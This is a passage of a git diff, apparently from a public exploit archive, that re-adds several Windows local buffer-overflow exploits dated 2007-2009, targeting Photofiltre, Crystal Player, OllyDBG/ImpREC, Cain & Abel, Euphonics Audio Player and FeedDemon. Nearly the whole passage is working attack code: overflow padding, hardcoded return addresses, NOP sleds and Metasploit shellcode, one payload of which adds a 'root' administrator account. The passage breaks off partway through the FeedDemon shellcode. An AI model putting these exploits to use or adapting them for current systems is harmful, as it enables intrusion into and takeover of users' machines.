+"\x4c\x4c\x4c\x4c\x4c\x4c\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4d"
+"\x4d\x4d\x4d\x4d\x4d\x4d\x4d\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
+"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
+"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
+"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
+"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e"
+"\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4e\x4f\x4f\x4f\x4f\x4f"
+"\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x92\x00\x92"
+"\x00\x96\x00\x00\x00\x00\x00\xaf\x00\x12\x00\x00\x00\x92\x00\x49"
+"\x00\x12\x00\x92\x00\xaf\x00\x92\x00\x49\x00\x49\x00\x49\x00\x58"
+"\x00\xaf\x00\x12\x00\x58\x00\x00\x00\x80\x00\x00\x00\x57\x00\x12"
+"\x00\x5a\x00\x12\x00\x00\x00\x00\x00\x28\x00\x12\x00\x00\x00\x46"
+"\x00\xfd\x00\xd5\x00\x1b\x00\xff\x00\xef\x00\xa9\x00\xd9\x00\x00"
+"\x00\x70\x00\x6c\x00\xfa\x00\x99\x00\xc5\x00\xf7\x00\xb4\x00\x48"
+"\x00\xab\x00\xe9\x00\xde\x00\x1b\x00\xff\x00\xd7\x00\x64\x00\xa9"
+"\x00\xd9\x00\x6e\x00\x68\x00\x70\x00\x92\x00\xcc\x00\xf2\x00\x99"
+"\x00\x94\x00\xe9\x00\xad\x00\xb4\x00\x4b\x00\xc9\x00\x85\x00\xe9"
+"\x00\xe5\x00\xb4\x00\x80\x00\x98\x00\x8c\x00\xe0\x00\xc4\x00\x33"
+;
+
+int main(int argc, char* argv[])
+{
+	FILE* tiffile;
+	char evilbuff[5000];
+	int offset=0;
+
+	printf("[+] Photofiltre Studio v8.1.1 .TIF File Buffer Overflow\n");
+	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
+	if (argc!=2) {
+		printf("[+] Usage: %s <file.ttf>\n",argv[0]);
+		return 0;
+	}
+
+	memcpy(evilbuff,tif_file_part1,sizeof(tif_file_part1)-1);
+	offset=0xd5;
+	memcpy(evilbuff+offset,"\x43\x43\xeb\x05\x8c\x08\xfc\x7f\x43",9); //pop pop ret in ??? + jump over EIP
+	memcpy(evilbuff+offset+9,beepsp2,sizeof(beepsp2)-1);
+
+	printf("[+] tif_file_part2 patched!\n");
+	
+	if ((tiffile=fopen(argv[1],"wb"))==0) {
+		printf("[-] Unable to access file.\n");
+		return 0;
+	}
+	
+	fwrite( evilbuff, 1, 1360, tiffile );
+	fclose(tiffile);
+	printf("[+] Done. Have fun!\n");
+	return 0;
+	
+}
+
+// milw0rm.com [2007-04-21]
diff --git a/platforms/windows/local/4229.pl b/platforms/windows/local/4229.pl
index 4fecac5ef..b291500aa 100755
--- a/platforms/windows/local/4229.pl
+++ b/platforms/windows/local/4229.pl
@@ -1,68 +1,68 @@
-#!/usr/bin/perl
-######################################################################################################################
-#Crystal Player 1.98
-#Playlist(.mls) File Local Buffer Overflow Exploit
-#Source:: http://www.crystalplayer.com/CrystalPro.exe
-#Credit To Timq For The Vulnerability
-#POC By Arham Muhammad
-#######################################################################################################################
-
-#While Debugging EIP And EBP Successfully Gets Overwritten!
-#Upon Successful Exploitation, DOS Occurs And It Further Destorys The Libraries,Upon Successful Exploitation
-#When The Next Time App Is Executed
-#It Throws Microsfot Visual C++ Runtime Library Error Followed By An Other Exception
-#The POC Add user "root" with password "root" to the os!
-#Tested On x86 vista enterprise ed.
-#Might require Changing esp address coz of os and sp change
-
-
-print "Crystal Player 1.98 Local Bufferoverflow Exploit\n";
-print "Creating Crafted .mls File\n";
-
-
-$buff = 'A' x 1033;
-
-
-$ret = "\x76\xF5\x48\x37"; #call esp in ntdll.dll
-
-
-
-# win32_adduser - PASS=root EXITFUNC=seh USER=root Size=232 Encoder=PexFnstenvSub http://metasploit.com
-$shellcode = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xea". #Add user root with pass root 232 bytes
-"\x15\xcd\x86\x83\xeb\xfc\xe2\xf4\x16\xfd\x89\x86\xea\x15\x46\xc3".
-"\xd6\x9e\xb1\x83\x92\x14\x22\x0d\xa5\x0d\x46\xd9\xca\x14\x26\xcf".
-"\x61\x21\x46\x87\x04\x24\x0d\x1f\x46\x91\x0d\xf2\xed\xd4\x07\x8b".
-"\xeb\xd7\x26\x72\xd1\x41\xe9\x82\x9f\xf0\x46\xd9\xce\x14\x26\xe0".
-"\x61\x19\x86\x0d\xb5\x09\xcc\x6d\x61\x09\x46\x87\x01\x9c\x91\xa2".
-"\xee\xd6\xfc\x46\x8e\x9e\x8d\xb6\x6f\xd5\xb5\x8a\x61\x55\xc1\x0d".
-"\x9a\x09\x60\x0d\x82\x1d\x26\x8f\x61\x95\x7d\x86\xea\x15\x46\xee".
-"\xd6\x4a\xfc\x70\x8a\x43\x44\x7e\x69\xd5\xb6\xd6\x82\xe5\x47\x82".
-"\xb5\x7d\x55\x78\x60\x1b\x9a\x79\x0d\x76\xa0\xe2\xc4\x70\xb5\xe3".
-"\xca\x3a\xae\xa6\x84\x70\xb9\xa6\x9f\x66\xa8\xf4\xca\x67\xa2\xe9".
-"\x9e\x35\xbf\xe9\x85\x61\xed\xa9\xab\x51\x89\xa6\xcc\x33\xed\xe8".
-"\x8f\x61\xed\xea\x85\x76\xac\xea\x8d\x67\xa2\xf3\x9a\x35\x8c\xe2".
-"\x87\x7c\xa3\xef\x99\x61\xbf\xe7\x9e\x7a\xbf\xf5\xca\x67\xa2\xe9".
-"\x9e\x35\xe2\xc7\xae\x51\xcd\x86";
-
-
-$nopsled = "\x90" x 797; #Nopsled to fill the buffer
-
-
-
-open(mls, ">./buffer.mls");
-print mls "$buff";
-print mls "$ret";
-print mls "$nopsled";
-print mls "$shellcode";
-
-
-print "Crafted File Created!\n";
-
-
-#Arham Muhammad
-#rko.thelegendkiller@ gmail.com
-
-#Greets:: str0ke,Hackman,tushy,And All My Friends, Specially AmBi(Love Ya!!!);
-#Gr0undbreakerz
-
-# milw0rm.com [2007-07-26]
+#!/usr/bin/perl
+######################################################################################################################
+#Crystal Player 1.98
+#Playlist(.mls) File Local Buffer Overflow Exploit
+#Source:: http://www.crystalplayer.com/CrystalPro.exe
+#Credit To Timq For The Vulnerability
+#POC By Arham Muhammad
+#######################################################################################################################
+
+#While Debugging EIP And EBP Successfully Gets Overwritten!
+#Upon Successful Exploitation, DOS Occurs And It Further Destorys The Libraries,Upon Successful Exploitation
+#When The Next Time App Is Executed
+#It Throws Microsfot Visual C++ Runtime Library Error Followed By An Other Exception
+#The POC Add user "root" with password "root" to the os!
+#Tested On x86 vista enterprise ed.
+#Might require Changing esp address coz of os and sp change
+
+
+print "Crystal Player 1.98 Local Bufferoverflow Exploit\n";
+print "Creating Crafted .mls File\n";
+
+
+$buff = 'A' x 1033;
+
+
+$ret = "\x76\xF5\x48\x37"; #call esp in ntdll.dll
+
+
+
+# win32_adduser - PASS=root EXITFUNC=seh USER=root Size=232 Encoder=PexFnstenvSub http://metasploit.com
+$shellcode = "\x2b\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xea". #Add user root with pass root 232 bytes
+"\x15\xcd\x86\x83\xeb\xfc\xe2\xf4\x16\xfd\x89\x86\xea\x15\x46\xc3".
+"\xd6\x9e\xb1\x83\x92\x14\x22\x0d\xa5\x0d\x46\xd9\xca\x14\x26\xcf".
+"\x61\x21\x46\x87\x04\x24\x0d\x1f\x46\x91\x0d\xf2\xed\xd4\x07\x8b".
+"\xeb\xd7\x26\x72\xd1\x41\xe9\x82\x9f\xf0\x46\xd9\xce\x14\x26\xe0".
+"\x61\x19\x86\x0d\xb5\x09\xcc\x6d\x61\x09\x46\x87\x01\x9c\x91\xa2".
+"\xee\xd6\xfc\x46\x8e\x9e\x8d\xb6\x6f\xd5\xb5\x8a\x61\x55\xc1\x0d".
+"\x9a\x09\x60\x0d\x82\x1d\x26\x8f\x61\x95\x7d\x86\xea\x15\x46\xee".
+"\xd6\x4a\xfc\x70\x8a\x43\x44\x7e\x69\xd5\xb6\xd6\x82\xe5\x47\x82".
+"\xb5\x7d\x55\x78\x60\x1b\x9a\x79\x0d\x76\xa0\xe2\xc4\x70\xb5\xe3".
+"\xca\x3a\xae\xa6\x84\x70\xb9\xa6\x9f\x66\xa8\xf4\xca\x67\xa2\xe9".
+"\x9e\x35\xbf\xe9\x85\x61\xed\xa9\xab\x51\x89\xa6\xcc\x33\xed\xe8".
+"\x8f\x61\xed\xea\x85\x76\xac\xea\x8d\x67\xa2\xf3\x9a\x35\x8c\xe2".
+"\x87\x7c\xa3\xef\x99\x61\xbf\xe7\x9e\x7a\xbf\xf5\xca\x67\xa2\xe9".
+"\x9e\x35\xe2\xc7\xae\x51\xcd\x86";
+
+
+$nopsled = "\x90" x 797; #Nopsled to fill the buffer
+
+
+
+open(mls, ">./buffer.mls");
+print mls "$buff";
+print mls "$ret";
+print mls "$nopsled";
+print mls "$shellcode";
+
+
+print "Crafted File Created!\n";
+
+
+#Arham Muhammad
+#rko.thelegendkiller@ gmail.com
+
+#Greets:: str0ke,Hackman,tushy,And All My Friends, Specially AmBi(Love Ya!!!);
+#Gr0undbreakerz
+
+# milw0rm.com [2007-07-26]
diff --git a/platforms/windows/local/6031.asm b/platforms/windows/local/6031.asm
index 983e4c961..79099bc04 100755
--- a/platforms/windows/local/6031.asm
+++ b/platforms/windows/local/6031.asm
@@ -1,154 +1,154 @@
-;-------------------------------------------------------------------------;
-; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability
-; PoC (probably older versions affected too, not tested though.)         
-;
-; Included shellcode shows a messagebox (WinXP SP2) and is configured for
-; OllyDBG. See lines 60-105 for more details
-;-------------------------------------------------------------------------;
-; Usage:
-; Load this DLL to your process and try to attach OllyDBG or ImpREC
-; to it -> Shellcode executed >:)
-;
-; Shellcode gets fired also if program is run under OllyDBG.
-;
-; Bug discovered and PoC coded by:
-; ~ Defsanguje, Defsanguje [at] gmail [dot] com             [July 7 2008]
-;-------------------------------------------------------------------------;
-; Coded in FASM
-;-------------------------------------------------------------------------;
-
-format PE GUI 4.0 DLL
-
-include 'win32a.inc'
-entry DllEntryPoint
-
-section '.code' code readable executable
-
-proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved
-                    mov eax, TRUE
-                    ret
-endp
-
-;-------------------------------------------------------------------------;
-; Modified version from original export-macro.
-;-------------------------------------------------------------------------;
-macro ExportExploit dllname,[label]
- { common
-    local module,addresses,names,ordinal,count
-    count = 0
-   forward
-    count = count+1
-   common
-    dd 0,0,0,RVA module,1
-    dd count,count,RVA addresses,RVA names,RVA ordinal
-    addresses:
-   forward
-    dd RVA label
-   common
-    names:
-   forward
-    local name
-    dd RVA name
-   common
-    ordinal: count = 0
-   forward
-    dw count
-    count = count+1
-   common
-    module db dllname,0
-   forward
-   
-;-------------------------------------------------------------------------;
-; Exploit for OllyDBG v1.10
-;-------------------------------------------------------------------------;
-a:  name\
-    db 3e0h dup (90h)
-    dd 6d553b78h                                                ; ESP to EBP
-    dd 6d55e5ffh                                                ; EBP to EAX
-    dd 0defdefdeh
-    dd 0defdefdeh
-    dd 6d56d25eh                                                ; add eax, 40h
-    dd 0defdefdeh
-    dd 6d52e1efh                                                ; jmp EAX =)
-    db 40h-18h dup(90h)
-c:  push eax
-    mov eax, (ShellCodeStart-c) xor 0defdefdeh
-    xor eax, 0defdefdeh
-    add eax, [esp]
-    jmp eax
-b:  db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)
-
-ShellCodeStart:
-    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
-    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
-    db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
-    db 0FFh,0D3h
-ShellCodeEnd:
-    dd 0045F823h                                                 ; New EIP
-
-    db 300h dup(90h)
-    db 0
-
-;-------------------------------------------------------------------------;
-; Exploit for ImpREC v1.7f
-;-------------------------------------------------------------------------;
-;    name\
-;    db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)
-;ShellCodeStart:
-;    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
-;    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
-;    db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
-;    db 0FFh,0D3h
-;ShellCodeEnd:
-;    dd 12c1b8h                                                  ; New EIP
-;    db 0
-;-------------------------------------------------------------------------;
-    
-   common
-    local x,y,z,str1,str2,v1,v2
-    x = count shr 1
-    while x > 0
-     y = x
-     while y < count
-      z = y
-      while z-x >= 0
-       load v1 dword from names+z*4
-       str1=($-RVA $)+v1
-       load v2 dword from names+(z-x)*4
-       str2=($-RVA $)+v2
-       while v1 > 0
-        load v1 from str1+%-1
-        load v2 from str2+%-1
-        if v1 <> v2
-         break
-        end if
-       end while
-       if v1<v2
-        load v1 dword from names+z*4
-        load v2 dword from names+(z-x)*4
-        store dword v1 at names+(z-x)*4
-        store dword v2 at names+z*4
-        load v1 word from ordinal+z*2
-        load v2 word from ordinal+(z-x)*2
-        store word v1 at ordinal+(z-x)*2
-        store word v2 at ordinal+z*2
-       else
-        break
-       end if
-       z = z-x
-      end while
-      y = y+1
-     end while
-     x = x shr 1
-    end while }
-
-section '.edata' export data readable
-;-------------------------------------------------------------------------;
-; Call the macro
-;-------------------------------------------------------------------------;
-  ExportExploit 'exploit.dll',\
-        $
-        
-;-------------------------------------------------------------------------;
-
-; milw0rm.com [2008-07-08]
+;-------------------------------------------------------------------------;
+; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability
+; PoC (probably older versions affected too, not tested though.)         
+;
+; Included shellcode shows a messagebox (WinXP SP2) and is configured for
+; OllyDBG. See lines 60-105 for more details
+;-------------------------------------------------------------------------;
+; Usage:
+; Load this DLL to your process and try to attach OllyDBG or ImpREC
+; to it -> Shellcode executed >:)
+;
+; Shellcode gets fired also if program is run under OllyDBG.
+;
+; Bug discovered and PoC coded by:
+; ~ Defsanguje, Defsanguje [at] gmail [dot] com             [July 7 2008]
+;-------------------------------------------------------------------------;
+; Coded in FASM
+;-------------------------------------------------------------------------;
+
+format PE GUI 4.0 DLL
+
+include 'win32a.inc'
+entry DllEntryPoint
+
+section '.code' code readable executable
+
+proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved
+                    mov eax, TRUE
+                    ret
+endp
+
+;-------------------------------------------------------------------------;
+; Modified version from original export-macro.
+;-------------------------------------------------------------------------;
+macro ExportExploit dllname,[label]
+ { common
+    local module,addresses,names,ordinal,count
+    count = 0
+   forward
+    count = count+1
+   common
+    dd 0,0,0,RVA module,1
+    dd count,count,RVA addresses,RVA names,RVA ordinal
+    addresses:
+   forward
+    dd RVA label
+   common
+    names:
+   forward
+    local name
+    dd RVA name
+   common
+    ordinal: count = 0
+   forward
+    dw count
+    count = count+1
+   common
+    module db dllname,0
+   forward
+   
+;-------------------------------------------------------------------------;
+; Exploit for OllyDBG v1.10
+;-------------------------------------------------------------------------;
+a:  name\
+    db 3e0h dup (90h)
+    dd 6d553b78h                                                ; ESP to EBP
+    dd 6d55e5ffh                                                ; EBP to EAX
+    dd 0defdefdeh
+    dd 0defdefdeh
+    dd 6d56d25eh                                                ; add eax, 40h
+    dd 0defdefdeh
+    dd 6d52e1efh                                                ; jmp EAX =)
+    db 40h-18h dup(90h)
+c:  push eax
+    mov eax, (ShellCodeStart-c) xor 0defdefdeh
+    xor eax, 0defdefdeh
+    add eax, [esp]
+    jmp eax
+b:  db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)
+
+ShellCodeStart:
+    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
+    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
+    db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
+    db 0FFh,0D3h
+ShellCodeEnd:
+    dd 0045F823h                                                 ; New EIP
+
+    db 300h dup(90h)
+    db 0
+
+;-------------------------------------------------------------------------;
+; Exploit for ImpREC v1.7f
+;-------------------------------------------------------------------------;
+;    name\
+;    db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)
+;ShellCodeStart:
+;    db 81h,0ECh,07Dh,0FFh,0FFh,0FFh
+;    db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh
+;    db 8Ah,05h,45h,7Eh                                          ; Address of messagebox in winxp sp2
+;    db 0FFh,0D3h
+;ShellCodeEnd:
+;    dd 12c1b8h                                                  ; New EIP
+;    db 0
+;-------------------------------------------------------------------------;
+    
+   common
+    local x,y,z,str1,str2,v1,v2
+    x = count shr 1
+    while x > 0
+     y = x
+     while y < count
+      z = y
+      while z-x >= 0
+       load v1 dword from names+z*4
+       str1=($-RVA $)+v1
+       load v2 dword from names+(z-x)*4
+       str2=($-RVA $)+v2
+       while v1 > 0
+        load v1 from str1+%-1
+        load v2 from str2+%-1
+        if v1 <> v2
+         break
+        end if
+       end while
+       if v1<v2
+        load v1 dword from names+z*4
+        load v2 dword from names+(z-x)*4
+        store dword v1 at names+(z-x)*4
+        store dword v2 at names+z*4
+        load v1 word from ordinal+z*2
+        load v2 word from ordinal+(z-x)*2
+        store word v1 at ordinal+(z-x)*2
+        store word v2 at ordinal+z*2
+       else
+        break
+       end if
+       z = z-x
+      end while
+      y = y+1
+     end while
+     x = x shr 1
+    end while }
+
+section '.edata' export data readable
+;-------------------------------------------------------------------------;
+; Call the macro
+;-------------------------------------------------------------------------;
+  ExportExploit 'exploit.dll',\
+        $
+        
+;-------------------------------------------------------------------------;
+
+; milw0rm.com [2008-07-08]
diff --git a/platforms/windows/local/7309.pl b/platforms/windows/local/7309.pl
index df3752670..6964f2aaa 100755
--- a/platforms/windows/local/7309.pl
+++ b/platforms/windows/local/7309.pl
@@ -1,42 +1,42 @@
-#!/usr/bin/perl
-#
-# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
-# Exploit by SkD (skdrat@hotmail.com)
-# -----------------------------------------------
-#
-# Nothing much to say about this one. This works on
-# an updated Windows XP SP3. On Vista this exploit is way easier
-# the more challenging one was on XP, and here it is.
-# Enjoy :). Also remember if you want to put your own shellcode
-# there are a few character restrictions and using Alpha2 or
-# Alpha Numerical won't work at all.
-# To open the .RDP file in Cain & Abel, click the
-# "Remote Password Decoder Dialog" icon.
-# Credits to Encrypt3d.M!nd.
-# {Author has no responsibility over the damage you do with this!}
-
-use strict; use warnings;
-
-# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
-my $shellcode =
-"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
-"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
-"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
-"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
-"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
-"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
-"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
-"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
-"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
-"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
-"\x7c\xc5\xd8\x59";
-my $addr = "\xb5\xb5\xfd\x7f";
-my $overflow = "\x41" x 8206 ;
-my $overflow2 = "\x41" x 255 ;
-my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)
-
-open(my $rdp, "> s.rdp");
-print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
-close($rdp);
-
-# milw0rm.com [2008-11-30]
+#!/usr/bin/perl
+#
+# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
+# Exploit by SkD (skdrat@hotmail.com)
+# -----------------------------------------------
+#
+# Nothing much to say about this one. This works on
+# an updated Windows XP SP3. On Vista this exploit is way easier
+# the more challenging one was on XP, and here it is.
+# Enjoy :). Also remember if you want to put your own shellcode
+# there are a few character restrictions and using Alpha2 or
+# Alpha Numerical won't work at all.
+# To open the .RDP file in Cain & Abel, click the
+# "Remote Password Decoder Dialog" icon.
+# Credits to Encrypt3d.M!nd.
+# {Author has no responsibility over the damage you do with this!}
+
+use strict; use warnings;
+
+# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
+my $shellcode =
+"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
+"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
+"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
+"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
+"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
+"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
+"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
+"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
+"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
+"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
+"\x7c\xc5\xd8\x59";
+my $addr = "\xb5\xb5\xfd\x7f";
+my $overflow = "\x41" x 8206 ;
+my $overflow2 = "\x41" x 255 ;
+my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)
+
+open(my $rdp, "> s.rdp");
+print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
+close($rdp);
+
+# milw0rm.com [2008-11-30]
diff --git a/platforms/windows/local/7958.pl b/platforms/windows/local/7958.pl
index b118c1517..46aa0ea56 100755
--- a/platforms/windows/local/7958.pl
+++ b/platforms/windows/local/7958.pl
@@ -1,34 +1,34 @@
-#!/usr/bin/perl -w
-#-----------------------------------------------------------------------------
-# Author : h4ck3r#47
-# Euphonics Audio Player v1.0 (.pls) Local Buffer Overflow Exploit
-# Tested in Windows Pro Sp3 (English)
-# Gr33tz to : str0ke , T.N.T:18 , AlpHaNiX , All arab4services.net and friends
-#-----------------------------------------------------------------------------
-my $overflow = "\x41" x 1324;
-my $ret = "\x7B\x46\x86\x7C"; # jmp ESP from kernel32.dll in Windows pro Sp3
-my $nop = "\x90" x 100 ;
-
-# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
-my $shellcode =
-"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
-"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
-"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
-"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
-"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
-"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
-"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
-"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
-"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
-"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
-"\x51\x92\x42\x83";
-
-my $file="hx.pls";
-
-$exploit = $overflow.$ret.$nop.$shellcode;
-open(my $FILE, ">>$file") or die "Cannot open $file: $!";
-print $FILE $exploit ;
-close($FILE);
-print "Done \n";
-
-# milw0rm.com [2009-02-03]
+#!/usr/bin/perl -w
+#-----------------------------------------------------------------------------
+# Author : h4ck3r#47
+# Euphonics Audio Player v1.0 (.pls) Local Buffer Overflow Exploit
+# Tested in Windows Pro Sp3 (English)
+# Gr33tz to : str0ke , T.N.T:18 , AlpHaNiX , All arab4services.net and friends
+#-----------------------------------------------------------------------------
+my $overflow = "\x41" x 1324;
+my $ret = "\x7B\x46\x86\x7C"; # jmp ESP from kernel32.dll in Windows pro Sp3
+my $nop = "\x90" x 100 ;
+
+# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
+my $shellcode =
+"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
+"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
+"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
+"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
+"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
+"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
+"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
+"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
+"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
+"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
+"\x51\x92\x42\x83";
+
+my $file="hx.pls";
+
+$exploit = $overflow.$ret.$nop.$shellcode;
+open(my $FILE, ">>$file") or die "Cannot open $file: $!";
+print $FILE $exploit ;
+close($FILE);
+print "Done \n";
+
+# milw0rm.com [2009-02-03]
diff --git a/platforms/windows/local/8010.pl b/platforms/windows/local/8010.pl
index f7f6437f5..07439d96e 100755
--- a/platforms/windows/local/8010.pl
+++ b/platforms/windows/local/8010.pl
@@ -1,53 +1,53 @@
-#!/usr/local/bin/perl
-#-----------------------------------------------------------------------------
-# FeedDemon version 2.7.0.0 Buffer overFlow
-# Reference:
-#	http://security.bkis.vn/?p=329
-#	http://www.securityfocus.com/bid/33630/info
-#	http://secunia.com/advisories/33718/
-# Tested in Windows XP Sp2 (English)
-# Created by cenjan (xcenjanx@yahoo.com)
-# Description: 	 + This code generates a opml file (feeddemonexploit.opml)
-#              		 + Import that file by the Import Feed function of Feed Demon
-#               		+ The calc.exe will execute
-#-----------------------------------------------------------------------------
-my $head='<opml version="1.1"><body><outline text="';
-my $overflow = "\x90" x 8006;
-
-# Shellcode by Metasploit
-my $devil=
-"\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xEC".
-"\x2D\x36\x5E\x83\xEB\xFC\xE2\xF4\x10\xC5\x72\x5E\xEC\x2D\xBD".
-"\x1B\xD0\xA6\x4A\x5B\x94\x2C\xD9\xD5\xA3\x35\xBD\x1\xCC\x2C".
